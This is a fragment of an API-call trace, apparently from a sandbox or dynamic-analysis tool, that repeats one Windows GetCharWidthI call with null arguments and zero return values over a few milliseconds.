[0043.265] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.265] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.265] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.266] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.267] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.268] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.269] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
